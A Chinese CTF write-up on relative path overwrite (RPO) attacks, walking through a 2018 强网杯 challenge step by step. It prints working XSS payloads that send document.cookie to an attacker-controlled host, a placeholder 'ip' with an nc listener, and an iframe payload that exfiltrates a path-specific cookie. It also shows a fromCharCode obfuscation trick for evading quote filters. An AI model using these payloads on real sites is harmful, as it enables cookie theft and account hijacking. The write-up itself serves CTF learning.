最近在ctf题上看到了关于RPO攻击的利用,但是在网上找了好几篇博客都是看的似懂非懂的,不知道如何去利用,但是还是决定写一下,以便以后在遇到时还有印象
博客参考:
新型Web攻击技术:RPO攻击初探
RPO攻击-p00mj
RPO攻击-iamstudy
关于RPO攻击看了这几个博客大概也能理解,RPO是使用由浏览器解析url路径与服务器解析url路径差别导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载
在上面三篇博客中都有对POC形成有详细的讲解。
主要是关于RPO攻击的利用部分
新型Web攻击技术:RPO攻击初探中对于RPO攻击是借助google的例子写的,简单的谈一下自己的理解
发现RPO后利用修改了网页的路径,使页面css加载路径成为了可以加载任意的google域名下的任意样式表,然后在样式表中找到一个可以使用参数导入背景的网页,向里面插入攻击参数,传入了一个简单的css样式。使用被攻击页面url进行引用,页面的css样式改变攻击代码在能成功执行。
2018强网杯上的RPO攻击的题
writeup
强网杯2018 Web writeup
强网杯-writeup
在主页的源代码中有一个js的调用前没有/
出现,产生了RPO漏洞
正常访问页面时js文件的请求网址是
http://39.107.33.96/static/js.jquery.min.js
另外在网站中我们能够能看到自己的文章页面,页面的地址为
http://39.107.33.96:20000/index.php/view/article/1566
,我们能够发现当我们的文章不添加标题的时候,文章内容就会以纯文本的方式显示这个文章的内容使我们可以控制的,写入
alert(/xss/)
,然后在主页使用%2f
进行url改造(%2f是/
的url编码,服务器能解析,但是浏览器不能解析),引用此篇文章http://39.107.33.96:20000/index.php/view/article/1566/..%2f..%2f..%2f..%2findex.php
发现弹窗执行文章中的js内容查看当前js的引用路径
http://39.107.33.96:20000/index.php/view/article/1566/static/js/jquery.min.js
我们正常访问这个路径时发现内容和我们访问
http://39.107.33.96:20000/index.php/view/article/1566
的内容是一样的这就说明,网页按照这个路径把1566的内容当做了js文件进行了请求,并且还当做js代码执行了,而后面的js的路径被当做了参数忽略了。
构建攻击payload
b=document.cookie;
a='<img src=http://ip/'+btoa(b)+'>';
document.write(a);
将ip更换为自己的服务器ip,在服务器上使用nc监控端口
因为攻击代码的引用时会过滤了单引号和双引号,所以要对payload进行实体化编码,用String.fromCharCode()函数引用
print map(ord ,"payload") //将payload放入进行实体化编码
eval(String.fromCharCode()) //将实体化编码的payload放入
将组合成的payload写成文章内容,构造文章的url,将url传入给如的漏洞url提交页面,它会访问我们的url内容,并且请求我们引用的服务器,返回cookie
http://39.107.33.96:20000/index.php/view/article/2460/..%2f..%2f..%2f..%2findex.php
获得cookie后在解码得到
HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
,flag就在新的路径中,继续使用大佬的payload
var i=document.createElement('iframe');
i.src='/QWB_fl4g/QWB/';
i.id='a';document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href='http://xxxx?'+c;
}
如果请求一直没有回显尝试将,payload中的双引全部换成单引号在进行实体化编码。我也知道问什么会这样,反正卡在了这里